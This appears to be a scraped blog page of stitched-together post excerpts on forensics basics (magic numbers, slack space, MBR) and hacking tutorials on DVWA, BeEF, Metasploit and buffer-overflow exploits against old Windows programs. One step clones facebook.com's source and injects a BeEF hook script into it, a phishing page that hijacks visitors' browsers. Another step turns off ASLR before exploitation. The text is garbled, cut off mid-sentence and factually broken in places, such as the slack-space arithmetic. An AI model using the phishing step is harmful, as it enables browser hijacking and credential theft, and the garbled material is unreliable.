Magic Numbers

           Magic numbers are common in programs across many operating systems. Magic numbers implement strongly typed data and are a form of in-band signaling to the controlling program that reads the data type(s) at program run-time. Many files have such constants that identify the contained data. Detecting such constants in files is a simple and effective way of distinguishing between many file formats and can yield further run-time information.

Example:

GIF image files have the ASCII code for "GIF89a" (47 49 46 38 39 61) or "GIF87a" (47 49 46 38 37 61)

PDF files start with "%PDF" (hex 25 50 44 46).

"jpeg" File Structure

           JPEG (Joint Photographic Experts Group) refers to a standards organization, a method of file compression.File Interchange Format (JFIF) is a development of C-Cube Microsystems for the purpose of storing JPEG-encoded data. JFIF is designed to allow files containing JPEG-encoded data streams to be exchanged between otherwise incompatible systems and applications.

A JFIF file is basically a JPEG data stream with a few restrictions and an identfying marker. In order to understand the JFIF format, you'll need to understand JPEG

Unallocated Space

        Unallocated space, sometimes called “free space”, is logical space on a hard drive that the operating system, e.g Windows, can write to. To put it another way it is the opposite of “allocated” space, which is where the operating system has already written files to.

Examples.

If the operating system writes a file to a certain space on the hard drive that part of the drive is now “allocated”, as the file is using it the space, and no other files can be written to that section. If that file is deleted then that part of the hard drive is no longer required to be “allocated” it becomes unallocated. This means that  new files can now be re-written to that location.

Slack Space

  Slack space or sometimes referred to as file slack is the areabetween the end of a file and end of the last cluster or sector used by the file in question. Area is an area that will not be used again tostore the information there, so the area is "wasted" useless. Slackspace is common in file systems that use a large cluster size, while the file system that uses a small cluster size can organize the storage media more effectively and efficiently. Amount of wasted disk space can be thought is estimated by multiplying the number offiles (including the number of directories) with half the size of acluster. For example, a 10 000 personal computer that stores files in a file system that uses a cluster size of 4 kilobytes will haveapproximately 10 000 x 2 MB ~ = 20000 KB. On a large file server,slack space and even reached the size of tens of gigabytes.

Structure File system

     File system is a logical structure that is used to control access to data on the disk. File system functions to provide a mechanism for storing data and programs are owned by the operating system and all users of computer systems.There are two parts to the file system, namely:A. Collection of files each of which stores data related.2. Directory structure to organize and provide information on all files in the system.All operating systems from DOS, Windows, Macintosh and UNIX derivative has its own file system to put the files in a hierarchical structure. Examples of file systems including FAT, NTFS, HFS and HFS +, EXT2, EXT3, ISO 9660, ODS-5, and UDF. Some file systems also include journaling file system or a versioning file system, file system also determines the file naming convention and the laying of the file in the directory structure.Here is a third type of naming files on a Windows system: 

MBR (Master Boot Record )

MBR is a special room and a very important presence in the hard disk. master boot record is created automatically when you create the first partition diharddisk.

MBR is a very important data structure that contains the partition table and a number of executable code for the boot start (way to hard to make loading the operating system). location is always on the first disk sector.

DVWA Advanced Hacking

okay first time

run our mysql & apache server than type 192.168.43.1/dvwa. than enter will open dvwa.

 

Improvement about Metasploit and beEf

fires step 

run our beEf

copy http://127.0.0.1/beef/ link to open beef interface.

use metasploit and beef

oke first step
just take source code from facebook.com than put <script src='http://127.0.0.1/beef/hook/beefmagic.js.php'></script> on scrip than source code using .html.

What is Social Engenering and Social Engenering Toolkit

Social engineering

       Social engineering is a term that describes a non-technical kind of intrusion that relies heavily on human interaction and often involves tricking other people to break normal security procedures.
        Social engineering is a component of many, if not most, types of exploits. Virus writers use social engineering tactics to persuade people to run malware-laden email attachments, phishers use social engineering to convince people to divulge sensitive information, and scareware vendors use social engineering to frighten people into running software that is useless at best and dangerous at worst.

Examples of the Use of Auxiliary Tools.

           a Metasploit module that is not an exploit is an auxiliary module, which leaves a lot to the imagination.

okay this time open msfconsole on terminal wait until msf opened, than type show auxiliary than press tab on keyboard than see result.

What is MSFpayload & MSFencode and Implemantation

Msfpayload :

Msfpayload is one of the many great tools included with theMetasploit Framework. It can be used to create customized payloads.To run Msfpayload, first select one of the many payloads included inthe framework. Then provide the parameters for the payload and theoutput format you want it to generate, and it will create acustomized payload for you. You can take the resulting file andinclude it in your own exploits written in C, Ruby, Perl, Java orother languages. It also has the ability to create executableprograms. These

EXploit Linux Stack Overflow

let's do it's.

first step

before exploit we must turn off the 'linux ASLR'

i try to see ASLR.

type : cat /proc/sys/kernel/randomize_va_space

Exploit Easy Chat Server (SEH & SafeSEH)

oke now we try to exploit Easy Chat Server.

first step

using wireshark for see vulner on Easy Chat Server. after we get a vulner make fuzzer for see how it's can be overflow. for take a header first step register and than we can see result on wireshare

Exploit BigAnt (SEH and SafeSEH)

now we try to exploit BigAnt

 BigAnt has a protection on the SEH and safeSEH.

Direct Return Exploit(3) vuplayer

oke this time wanna try to exploit vuplayer

first step

patterns of attack.

In this time wanna try to see it's can be buffer overflow. a make on notepad try too write character "a" so much. if it's crash we can see it's can be overflow.

when it's witten, i try too save it using format wax. "spirit.wax. and i open spirit.wax using VUPlayer.

Direct Return Exploit(2) Mini-streamRM-MP3Converter

oke now we try to exploit Mini-streamRM-MP3Converter.

first step

make fuzzer for make an error.

until we now an error mini stremer(when we load it's lose) that mean we have make it's an error.

Install warFTP on Windows xp sp2

Oke for install warFTP 1.65
Download warFTP you can search at google.
than now double klik warFTP 1.65 and it's will be extract warFTP. you can see below 

Direct Return Exploit(1) FTP Server on Windows sp xp3

oke now we will try to exploit FTP server on winodws sp xp2. before we try prepare requirements for exploitation.
1. Dowload WarFTP
2. Download ollyDbg
3. Fuzzer
if already prepared all the needs now install WarFTP an ollyDbg on your windows.
 
first steep
Open your FTP Server and press
propertis - start service

Structure of the Memory Registers

Before understanding more about the Structure of the Memory Registers. to better understand what we know dl is memory and what it registers.

 
What is memory?
Memory is the storage place various forms of information as binary numbers. The information will not be resolved binary form (encoded) by the number of instructions that turns it into a sequence of numbers or figures. For example: The letter F is stored as a decimal number 70 (or binary) using one method of solving. More complex instructions that can be used to store pictures, sound, video, and various kinds of information. The information can be stored in a single sell is called a byte.